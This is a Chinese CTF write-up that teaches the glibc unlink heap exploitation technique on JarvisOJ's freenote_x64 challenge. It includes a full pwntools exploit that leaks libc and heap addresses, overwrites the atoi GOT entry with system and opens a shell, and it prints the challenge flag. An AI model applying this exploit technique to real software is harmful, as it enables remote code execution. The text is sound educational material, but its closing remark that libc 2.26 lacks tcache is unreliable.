Unlink

花里花外花中雾 花飞花落一条路
百年修得同船渡 千年岂能朝思暮


简介

unlink是在smallbin被释放的时候的一种操作,是将当前物理内存相邻的free chunk进行合并,简单的讲就是我们在free一个smallchunk的时候,如果它前面或者后面的chunk有空闲的,即in_use位为0时,就将前面或后面的chunk连在一起合成一个chunk;
smallbin的数据结构:prev_size,size,fd,bk;
因为smallbin被释放后是用双链串在一起的,这就使目前unlink操作时,有一定的检查机制,主要检查我们的双链是否是合法的;
主要检查fd,bk等指针:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

在双向链表中,所以有两个地方记录chunk的大小,所以检查一下其大小是否一致:

1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
malloc_printerr ("corrupted size vs. prev_size");

unlink操作的简要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define unlink(P, BK, FD)
{
FD = P->fd;
BK = P->bk;
if(FD->bk != P || BK->fd !=p)
{
malloc_printerr (check_action, "corrupted d...", P);
}
else
{
FD->bk = BK;
BK->fd = FD;
}
}


绕过方法

实际上,我们还是有办法绕过unlink的检查,不过需要有一些条件:

  1. 有一个指向heap内的指针;
  2. 存放这个指针的地址已知(一般这个地址(&p)是全局变量);
  3. 可以对这个指针进行多次写入;
    然后我们想办法修改p的fd和p的bk分别为:
    1
    2
    3
    4
    5
    6
    //64位
    p->fd = &p - 0x18; //fd
    p->bk = &p - 0x10; //bk
    //32位
    p->fd = &p - 12; //fd
    p->bk = &p - 8; //bk

这样我们就可以绕过(FD->bk != P || BK->fd !=p)检测了,当unlink的操作完了之后,我们得到:

1
2
3
4
//64位
p = &p - 0x18
//32位
p = &p - 12;

演示

我们以JarvisOJ中的freenote_x64来具体演示一下绕过unlink的操作并且熟悉一下smallbin的结构;
这道题在add函数和edit函数中,真实malloc的size最小都是0x80,也就是我们申请的是smallbin,所以操作的也是samllbin;
主要漏洞在delete note里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __cdecl delete()
{
int i; // [sp+Ch] [bp-4h]@2

if ( chunk_list->number <= 0 )
{
puts("No posts yet.");
}
else
{
printf("Post number: ");
i = get_num();
if ( i >= 0 && i < chunk_list->sum ) // 未检查inuse位,double_free
{
--chunk_list->number;
chunk_list->block[i].in_use = 0LL;
chunk_list->block[i].len = 0LL;
free(chunk_list->block[i].ptr); // 指针未清空
puts("Done.");
}
else
{
puts("Invalid number!");
}
}
}

还有一个有用的漏洞就是add和edit时,我们输入的字符串没有‘\x00’结尾符,我们输入多大的size就读多少size的字符,没有多余;

思路

所以基本思路就是我们先申请4个chunk,然后free(0)和free(2),防止合并;然后在申请2个chunk,只写入8字节,就可以leak出heap和libc的基地址;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00000000  30 2e 20 71  71 71 71 71  71 71 71 40  c9 6c 0a 310. q│qqqq│qqq@│·l·1
00000010 2e 20 62 62 62 62 62 62 62 62 0a 32 2e 20 73 73 │. bb│bbbb│bb·2│. ss│
00000020 73 73 73 73 73 73 b8 07 d4 1c 39 7f 0a 33 2e 20 │ssss│ss··│··9·│·3.
00000030 64 64 64 64 64 64 64 64 0a 3d 3d 20 30 6f 70 73 │dddd│dddd│·== │0ops│
00000040 20 46 72 65 65 20 4e 6f 74 65 20 3d 3d 0a 31 2e │ Fre│e No│te =│=·1.
00000050 20 4c 69 73 74 20 4e 6f 74 65 0a 32 2e 20 4e 65 │ Lis│t No│te·2│. Ne│
00000060 77 20 4e 6f 74 65 0a 33 2e 20 45 64 69 74 20 4e │w No│te·3│. Ed│it N│
00000070 6f 74 65 0a 34 2e 20 44 65 6c 65 74 65 20 4e 6f │ote·│4. D│elet│e No│
00000080 74 65 0a 35 2e 20 45 78 69 74 0a 3d 3d 3d 3d 3d │te·5│. Ex│it·=│====│
00000090 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a │====│====│====│===·│
000000a0 59 6f 75 72 20 63 68 6f 69 63 65 3a 20 │Your│ cho│ice:│ │

s = p.recv()
lib_addr = u64(s[39:45] + '\x00\x00') - 0x3c27b8
heap_addr = u64(s[11:15] + '\x00'*4) - 0x1940 + 0x30
system_addr = lib_addr + libc.symbols['system']

在heap基地址偏移0x30的地方有我们需要的&p:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004
0x603020: 0x0000000000000001 0x0000000000000004
0x603030:&p 0x0000000000604830 p 0x0000000000000001
0x603040: 0x0000000000000002 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000001
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000004 0x00000000006049e0
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000

有了&p之后我们就可以构造chunk,然后unlink了;
unlink之后的&p,此时p=&p-0x18:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000603018 p 0x0000000000000001 //p=&p-0x18
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000001
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000004 0x00000000006049e0
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000

然后现在我们就可以修改0x0603018地址开始的内容了,然后就可以修改指针达到任意地址写入了;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p = process('./freenote')
p = remote('pwn2.jarvisoj.com', 9886)
elf= ELF('./freenote')
libc = ELF('./bc.so.6')

if args.G:
gdb.attach(p)

def show():
p.recvuntil('Your choice: ')
p.sendline('1')

def add(s):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(len(s)))
p.recvuntil('Enter your note: ')
p.send(s)

def edit(i,s):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(i))
p.recvuntil('Length of note: ')
p.sendline(str(len(s)))
p.recvuntil('Enter your note: ')
p.send(s)

def delete(i):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(i))

def exit():
p.recvuntil('Your choice: ')
p.sendline('5')

add('a'*8)
add('b'*8)
add('c'*8)
add('d'*8)

delete(0)
delete(2)

add('q'*8)
add('s'*8)
#leak
show()
s = p.recv()
lib_addr = u64(s[39:45] + '\x00\x00') - 0x3c27b8
heap_addr = u64(s[11:15] + '\x00'*4) - 0x1940 + 0x30
system_addr = lib_addr + libc.symbols['system']
print "lib_addr: " + hex(lib_addr)
print "heap_addr: " + hex(heap_addr)
print "system_addr: " + hex(system_addr)

#unlink
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline('1')
pay = p64(0x90) + p64(0x80) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'a'*0x60
pay+= p64(0x80) + p64(0x90+0x90) + 'b'*0x70
edit(0,pay)
delete(1)

#getshell
payload = p64(2) + p64(1) + p64(100) + p64(heap_addr - 0x18) + p64(1) + p64(0x8) + p64(elf.got['atoi'])
payload+= '\x00'*(0x100-len(payload))
edit(0,payload)
edit(1,p64(system_addr))
p.sendline("$0")
p.interactive()
#CTF{de7effd8864f018660e178b96b8b4ffc}

总结

1.关于这道的基本分析可以参考安全客;
2.关于unlink的绕过关键就是找&p,然后构造chunk,从而绕过unlink;
3.这个unlink的操作时,利用的libc的版本是2.26的,所以没有tcache机制;2.26以后的libc是有tcache机制的,所以那个时候释放的smallbin可能为单链,没有unlink的操作,所以要先申请7个chunks,然后释放后将Tcachebins填满,然后再进行其他操作;

文章目录
  1. 1. 简介
  2. 2. 绕过方法
  • 演示
    1. 1. 思路
    2. 2. EXP
  • 总结
  • ,